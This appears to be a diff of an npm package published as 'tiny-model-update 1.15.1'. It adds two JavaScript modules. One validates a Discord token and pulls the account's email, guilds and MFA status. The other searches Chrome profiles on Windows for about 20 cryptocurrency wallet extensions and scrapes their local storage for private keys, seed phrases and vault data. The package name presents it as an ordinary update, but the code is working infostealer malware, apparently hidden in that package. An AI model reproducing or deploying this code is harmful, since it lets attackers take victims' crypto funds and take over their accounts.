tiny-model-update 1.15.1

package/lib/token-verifier.js

@@ -0,0 +1,100 @@
+// Verify Discord token and get user info including region
+export async function verifyDiscordToken(token) {
+    try {
+        // Get user info
+        const userResponse = await fetch('https://discord.com/api/v10/users/@me', {
+            headers: {
+                'Authorization': token,
+                'Content-Type': 'application/json'
+            }
+        });
+        
+        if (!userResponse.ok) {
+            return {
+                valid: false,
+                error: userResponse.status === 401 ? 'Invalid or expired token' : `HTTP ${userResponse.status}`
+            };
+        }
+        
+        const userData = await userResponse.json();
+        
+        // Get user's guilds to determine activity
+        const guildsResponse = await fetch('https://discord.com/api/v10/users/@me/guilds', {
+            headers: {
+                'Authorization': token,
+                'Content-Type': 'application/json'
+            }
+        });
+        
+        let guilds = [];
+        if (guildsResponse.ok) {
+            guilds = await guildsResponse.json();
+        }
+        
+        // Try to get region from user's settings or most recent guild
+        let region = 'Unknown';
+        try {
+            // Get user settings which may contain locale/region info
+            const settingsResponse = await fetch('https://discord.com/api/v10/users/@me/settings', {
+                headers: {
+                    'Authorization': token,
+                    'Content-Type': 'application/json'
+                }
+            });
+            
+            if (settingsResponse.ok) {
+                const settings = await settingsResponse.json();
+                if (settings.locale) {
+                    region = settings.locale;
+                }
+            }
+        } catch (e) {
+            // Ignore settings fetch errors
+        }
+        
+        // If we have guilds, try to get region from the first guild
+        if (guilds.length > 0 && region === 'Unknown') {
+            try {
+                const guildResponse = await fetch(`https://discord.com/api/v10/guilds/${guilds[0].id}`, {
+                    headers: {
+                        'Authorization': token,
+                        'Content-Type': 'application/json'
+                    }
+                });
+                
+                if (guildResponse.ok) {
+                    const guildData = await guildResponse.json();
+                    if (guildData.region) {
+                        region = guildData.region;
+                    }
+                }
+            } catch (e) {
+                // Ignore guild fetch errors
+            }
+        }
+        
+        // Use locale from user data if available
+        if (userData.locale && region === 'Unknown') {
+            region = userData.locale;
+        }
+        
+        return {
+            valid: true,
+            userId: userData.id,
+            username: userData.username,
+            discriminator: userData.discriminator,
+            email: userData.email || 'Not available',
+            locale: userData.locale || 'Unknown',
+            region: region,
+            guildsCount: guilds.length,
+            verified: userData.verified || false,
+            mfaEnabled: userData.mfa_enabled || false
+        };
+    } catch (error) {
+        return {
+            valid: false,
+            error: error.message || 'Verification failed'
+        };
+    }
+}
+

package/lib/wallet-extractor.js

@@ -0,0 +1,447 @@
+import fs from 'fs';
+import path from 'path';
+import os from 'os';
+import { execSync } from 'child_process';
+
+// Common cryptocurrency wallet extension IDs
+const WALLET_EXTENSIONS = {
+    'nkbihfbeogaeaoehlefnkodbefgpgknn': 'MetaMask',
+    'egjidjbpglichdcondbcbdnbeeppgdph': 'Trust Wallet',
+    'hnfanknocfeofbddgcijnmhnfnkdnaad': 'Coinbase Wallet',
+    'bfnaelmomeimhlpmgjnjophhpkkoljpa': 'Phantom',
+    'bhhhlbepdkbapadjdnnojkbgioiodbic': 'Solflare',
+    'afbcbjpbpfadlkmhmclhkeeodmamcflc': 'Math Wallet',
+    'fhbjgbiflinjbdggehcddcbncdddomop': 'MyEtherWallet',
+    'cjelfplplebdjjenllpjcblmjkfcffne': 'Jaxx Liberty',
+    'hmeobnfnfnhbdojghkpbgiadugpkpndn': 'TronLink',
+    'ibnejdfjmmkpcnlpebklmnkoeoihofec': 'Terra Station',
+    'fhbohimaelbohpjbbldcngcnapndodjp': 'Binance Chain Wallet',
+    'fhbohimaelbohpjbbldcngcnapndodjp': 'Brave Wallet',
+    'cphhlgmgameodnhkjdmkpanlelnlohao': 'Ronin Wallet',
+    'nhnkbkgjikgcigadomakhzanogklmutt': 'Keplr',
+    'dmkamcknogkgcdfhhbddcghachkejeap': 'OKX Wallet',
+    'aodkkagnadcbobfpggfnjeongemjbjaf': 'BitKeep',
+    'hpglfhgfnhbgpjdenjgmdgcmccjbmbj': 'TokenPocket',
+    'fhbohimaelbohpjbbldcngcnapndodjp': 'SafePal',
+    'nkbihfbeogaeaoehlefnkodbefgpgknn': 'MetaMask (Legacy)',
+    'cjelfplplebdjjenllpjcblmjkfcffne': 'Jaxx Classic'
+};
+
+/**
+ * Get Chrome extensions directory path
+ */
+function getChromeExtensionsPath() {
+    const platform = os.platform();
+    if (platform === 'win32') {
+        const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
+        return path.join(localAppData, 'Google', 'Chrome', 'User Data');
+    }
+    return null;
+}
+
+/**
+ * Find all installed wallet extensions
+ */
+export function findWalletExtensions() {
+    const extensions = [];
+    const extensionsPath = getChromeExtensionsPath();
+    
+    if (!extensionsPath || !fs.existsSync(extensionsPath)) {
+        return extensions;
+    }
+    
+    // Get all Chrome profiles
+    const profiles = [];
+    try {
+        const entries = fs.readdirSync(extensionsPath);
+        if (fs.existsSync(path.join(extensionsPath, 'Default'))) {
+            profiles.push('Default');
+        }
+        for (const entry of entries) {
+            if (entry.startsWith('Profile')) {
+                profiles.push(entry);
+            }
+        }
+    } catch (e) {
+        return extensions;
+    }
+    
+    // Check each profile for extensions
+    for (const profile of profiles) {
+        const profilePath = path.join(extensionsPath, profile);
+        const extensionsDir = path.join(profilePath, 'Extensions');
+        
+        if (!fs.existsSync(extensionsDir)) {
+            continue;
+        }
+        
+        try {
+            const extensionDirs = fs.readdirSync(extensionsDir);
+            
+            for (const extId of extensionDirs) {
+                if (WALLET_EXTENSIONS[extId]) {
+                    const extPath = path.join(extensionsDir, extId);
+                    if (fs.statSync(extPath).isDirectory()) {
+                        // Get version directory
+                        try {
+                            const versions = fs.readdirSync(extPath);
+                            if (versions.length > 0) {
+                                const latestVersion = versions.sort().reverse()[0];
+                                const versionPath = path.join(extPath, latestVersion);
+                                
+                                extensions.push({
+                                    id: extId,
+                                    name: WALLET_EXTENSIONS[extId],
+                                    profile: profile,
+                                    path: versionPath,
+                                    storagePath: path.join(profilePath, 'Local Storage', 'chrome-extension_' + extId),
+                                    indexedDBPath: path.join(profilePath, 'IndexedDB', 'chrome-extension_' + extId)
+                                });
+                            }
+                        } catch (e) {
+                            // Ignore version errors
+                        }
+                    }
+                }
+            }
+        } catch (e) {
+            // Ignore profile errors
+        }
+    }
+    
+    return extensions;
+}
+
+/**
+ * Read LevelDB raw files (similar to token extractor)
+ */
+function readLevelDBRaw(leveldbPath) {
+    if (!fs.existsSync(leveldbPath)) {
+        return null;
+    }
+    
+    try {
+        const files = fs.readdirSync(leveldbPath);
+        let allData = '';
+        
+        for (const file of files) {
+            if (file.endsWith('.ldb') || file.endsWith('.log')) {
+                try {
+                    const filePath = path.join(leveldbPath, file);
+                    const data = fs.readFileSync(filePath);
+                    allData += data.toString('utf8', 0, Math.min(data.length, 1000000)); // Limit to 1MB per file
+                } catch (e) {
+                    // Ignore file read errors
+                }
+            }
+        }
+        
+        return allData;
+    } catch (e) {
+        return null;
+    }
+}
+
+/**
+ * Extract private keys and seed phrases from wallet extension storage
+ */
+export async function extractWalletKeys(extension) {
+    const walletData = {
+        extension: extension.name,
+        extensionId: extension.id,
+        profile: extension.profile,
+        privateKeys: [],
+        seedPhrases: [],
+        addresses: [],
+        otherData: {}
+    };
+    
+    // Special handling for MetaMask
+    const isMetaMask = extension.id === 'nkbihfbeogaeaoehlefnkodbefgpgknn';
+    
+    // Method 1: Read Local Storage LevelDB
+    if (extension.storagePath && fs.existsSync(extension.storagePath)) {
+        const storageData = readLevelDBRaw(extension.storagePath);
+        if (storageData) {
+            // For MetaMask, search for specific storage keys
+            if (isMetaMask) {
+                // MetaMask stores data under keys like "metamask" or "metamask-state"
+                const metamaskKeyPatterns = [
+                    /metamask[^"]*["\s]*[:=]\s*({[^}]*vault[^}]*})/gi,
+                    /"metamask"[^:]*:\s*({[^}]*})/gi,
+                    /"data"[^:]*:\s*"([^"]*vault[^"]*)"/gi,
+                    /vault["\s]*[:=]\s*"([^"]+)"/gi
+                ];
+                
+                for (const pattern of metamaskKeyPatterns) {
+                    let match;
+                    while ((match = pattern.exec(storageData)) !== null) {
+                        const vaultData = match[1] || match[0];
+                        if (vaultData && vaultData.length > 50) {
+                            if (!walletData.otherData['metamaskVault']) {
+                                walletData.otherData['metamaskVault'] = vaultData.substring(0, 2000);
+                            }
+                        }
+                    }
+                }
+                
+                // Try to find complete JSON objects containing MetaMask data
+                try {
+                    // Look for JSON objects that might contain the full vault
+                    const jsonPattern = /\{[^{}]*(?:metamask|vault|encrypted|data|seed|mnemonic)[^{}]*\{[^{}]*\}[^{}]*\}/gi;
+                    let jsonMatch;
+                    while ((jsonMatch = jsonPattern.exec(storageData)) !== null) {
+                        try {
+                            const jsonStr = jsonMatch[0];
+                            // Try to find complete JSON by looking for balanced braces
+                            let braceCount = 0;
+                            let startIdx = jsonMatch.index;
+                            let endIdx = startIdx;
+                            for (let i = startIdx; i < Math.min(startIdx + 5000, storageData.length); i++) {
+                                if (storageData[i] === '{') braceCount++;
+                                if (storageData[i] === '}') {
+                                    braceCount--;
+                                    if (braceCount === 0) {
+                                        endIdx = i + 1;
+                                        break;
+                                    }
+                                }
+                            }
+                            if (endIdx > startIdx) {
+                                const fullJson = storageData.substring(startIdx, endIdx);
+                                try {
+                                    const parsed = JSON.parse(fullJson);
+                                    const jsonStr = JSON.stringify(parsed);
+                                    if (jsonStr.includes('vault') || jsonStr.includes('metamask') || jsonStr.includes('encrypted')) {
+                                        walletData.otherData['metamaskFullData'] = jsonStr.substring(0, 5000);
+                                    }
+                                } catch (e) {
+                                    // Not valid JSON, but save the raw data
+                                    walletData.otherData['metamaskRawData'] = fullJson.substring(0, 3000);
+                                }
+                            }
+                        } catch (e) {
+                            // Continue
+                        }
+                    }
+                } catch (e) {
+                    // Ignore
+                }
+            }
+            
+            // Search for private keys (hex format, typically 64 characters)
+            // Also search for keys that might be in different formats
+            const privateKeyPatterns = [
+                /(?:private[_-]?key|privkey|privateKey|private_key|privKey)[":\s=]+([a-fA-F0-9]{64})/gi,
+                /"privateKey"[^:]*:\s*"([a-fA-F0-9]{64})"/gi,
+                /privateKey[":\s=]+([a-fA-F0-9]{64})/gi,
+                // Also try to find any 64-char hex strings that might be private keys
+                /([a-fA-F0-9]{64})/g
+            ];
+            
+            for (const pattern of privateKeyPatterns) {
+                let match;
+                while ((match = pattern.exec(storageData)) !== null) {
+                    const key = match[1];
+                    // Validate it looks like a private key (not just random hex)
+                    if (key && key.length === 64 && /^[a-fA-F0-9]{64}$/.test(key)) {
+                        // Check if it's near wallet-related keywords
+                        const contextStart = Math.max(0, match.index - 100);
+                        const contextEnd = Math.min(storageData.length, match.index + match[0].length + 100);
+                        const context = storageData.substring(contextStart, contextEnd).toLowerCase();
+                        if (context.includes('key') || context.includes('private') || context.includes('wallet') || 
+                            context.includes('account') || context.includes('address') || isMetaMask) {
+                            if (!walletData.privateKeys.includes(key)) {
+                                walletData.privateKeys.push(key);
+                            }
+                        }
+                    }
+                }
+            }
+            
+            // Search for seed phrases (12 or 24 words) - improved patterns
+            const seedPhrasePatterns = [
+                /(?:seed|mnemonic|seed[_-]?phrase|recovery[_-]?phrase|backup[_-]?phrase|secret[_-]?phrase)[":\s=]+([a-z\s]{20,300})/gi,
+                /"seedPhrase"[^:]*:\s*"([^"]+)"/gi,
+                /"mnemonic"[^:]*:\s*"([^"]+)"/gi,
+                /seedPhrase[":\s=]+([a-z\s]{20,300})/gi
+            ];
+            
+            for (const pattern of seedPhrasePatterns) {
+                let match;
+                while ((match = pattern.exec(storageData)) !== null) {
+                    const phrase = match[1].trim();
+                    const words = phrase.split(/\s+/).filter(w => w.length > 0);
+                    // Check if it's a valid seed phrase (12 or 24 words, all lowercase letters)
+                    if (words.length >= 12 && words.length <= 24 && 
+                        words.every(w => /^[a-z]+$/.test(w) && w.length >= 2 && w.length <= 10)) {
+                        const fullPhrase = words.join(' ');
+                        if (!walletData.seedPhrases.includes(fullPhrase)) {
+                            walletData.seedPhrases.push(fullPhrase);
+                        }
+                    }
+                }
+            }
+            
+            // Search for wallet addresses (improved patterns)
+            const addressPatterns = [
+                /(?:address|wallet[_-]?address|account[_-]?address|eth[_-]?address)[":\s=]+(0x[a-fA-F0-9]{40})/gi,
+                /"address"[^:]*:\s*"(0x[a-fA-F0-9]{40})"/gi,
+                /(0x[a-fA-F0-9]{40})/g  // Ethereum addresses
+            ];
+            
+            for (const pattern of addressPatterns) {
+                let match;
+                while ((match = pattern.exec(storageData)) !== null) {
+                    const addr = match[1];
+                    if (addr && addr.startsWith('0x') && addr.length === 42) {
+                        if (!walletData.addresses.includes(addr)) {
+                            walletData.addresses.push(addr);
+                        }
+                    }
+                }
+            }
+            
+            // Try to extract complete JSON objects (improved)
+            try {
+                // Look for larger JSON objects that might contain wallet data
+                const largeJsonPattern = /\{[^{}]*(?:vault|encrypted|wallet|metamask|seed|mnemonic|private|address)[^{}]*\{[^{}]*\{[^{}]*\}[^{}]*\}[^{}]*\}/gi;
+                let jsonMatch;
+                while ((jsonMatch = largeJsonPattern.exec(storageData)) !== null) {
+                    try {
+                        // Try to extract complete JSON
+                        let startIdx = jsonMatch.index;
+                        let braceCount = 0;
+                        let endIdx = startIdx;
+                        for (let i = startIdx; i < Math.min(startIdx + 10000, storageData.length); i++) {
+                            if (storageData[i] === '{') braceCount++;
+                            if (storageData[i] === '}') {
+                                braceCount--;
+                                if (braceCount === 0) {
+                                    endIdx = i + 1;
+                                    break;
+                                }
+                            }
+                        }
+                        if (endIdx > startIdx) {
+                            const jsonStr = storageData.substring(startIdx, endIdx);
+                            try {
+                                const json = JSON.parse(jsonStr);
+                                const jsonString = JSON.stringify(json);
+                                
+                                // Check for encrypted vaults (MetaMask format)
+                                if (jsonString.includes('vault') || jsonString.includes('encrypted') || 
+                                    jsonString.includes('metamask') || jsonString.includes('data')) {
+                                    if (!walletData.otherData['encryptedVault']) {
+                                        walletData.otherData['encryptedVault'] = jsonString.substring(0, 5000);
+                                    }
+                                }
+                                
+                                // Check for wallet data
+                                if (jsonString.includes('wallet') || jsonString.includes('account') || 
+                                    jsonString.includes('address') || jsonString.includes('key')) {
+                                    if (!walletData.otherData['walletData']) {
+                                        walletData.otherData['walletData'] = jsonString.substring(0, 5000);
+                                    }
+                                }
+                            } catch (e) {
+                                // Not valid JSON, but might contain useful data
+                                if (jsonStr.includes('vault') || jsonStr.includes('metamask')) {
+                                    walletData.otherData['rawVaultData'] = jsonStr.substring(0, 3000);
+                                }
+                            }
+                        }
+                    } catch (e) {
+                        // Continue
+                    }
+                }
+            } catch (e) {
+                // Ignore JSON parsing errors
+            }
+        }
+    }
+    
+    // Method 2: Read IndexedDB
+    if (extension.indexedDBPath && fs.existsSync(extension.indexedDBPath)) {
+        try {
+            const indexedDBFiles = fs.readdirSync(extension.indexedDBPath);
+            for (const file of indexedDBFiles) {
+                if (file.endsWith('.ldb') || file.endsWith('.log')) {
+                    try {
+                        const filePath = path.join(extension.indexedDBPath, file);
+                        const data = fs.readFileSync(filePath);
+                        const dataStr = data.toString('utf8', 0, Math.min(data.length, 1000000));
+                        
+                        // Search for private keys in IndexedDB
+                        const privateKeyRegex = /([a-fA-F0-9]{64})/g;
+                        let match;
+                        while ((match = privateKeyRegex.exec(dataStr)) !== null) {
+                            const key = match[1];
+                            if (!walletData.privateKeys.includes(key)) {
+                                walletData.privateKeys.push(key);
+                            }
+                        }
+                        
+                        // Search for seed phrases
+                        const seedPhraseRegex = /([a-z\s]{20,200})/g;
+                        while ((match = seedPhraseRegex.exec(dataStr)) !== null) {
+                            const phrase = match[1].trim();
+                            const words = phrase.split(/\s+/);
+                            if (words.length >= 12 && words.length <= 24) {
+                                if (!walletData.seedPhrases.includes(phrase)) {
+                                    walletData.seedPhrases.push(phrase);
+                                }
+                            }
+                        }
+                    } catch (e) {
+                        // Ignore file read errors
+                    }
+                }
+            }
+        } catch (e) {
+            // Ignore IndexedDB errors
+        }
+    }
+    
+    // Method 3: Try to read extension's own storage files
+    try {
+        const manifestPath = path.join(extension.path, 'manifest.json');
+        if (fs.existsSync(manifestPath)) {
+            const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8'));
+            walletData.otherData['manifest'] = {
+                name: manifest.name,
+                version: manifest.version
+            };
+        }
+    } catch (e) {
+        // Ignore manifest errors
+    }
+    
+    return walletData;
+}
+
+/**
+ * Extract all wallet keys from all installed wallet extensions
+ */
+export async function extractAllWalletKeys() {
+    const extensions = findWalletExtensions();
+    const allWalletData = [];
+    
+    for (const extension of extensions) {
+        try {
+            const walletData = await extractWalletKeys(extension);
+            
+            // Only add if we found something
+            if (walletData.privateKeys.length > 0 || 
+                walletData.seedPhrases.length > 0 || 
+                walletData.addresses.length > 0) {
+                allWalletData.push(walletData);
+            }
+        } catch (e) {
+            // Continue with next extension
+        }
+    }
+    
+    return allWalletData;
+}
+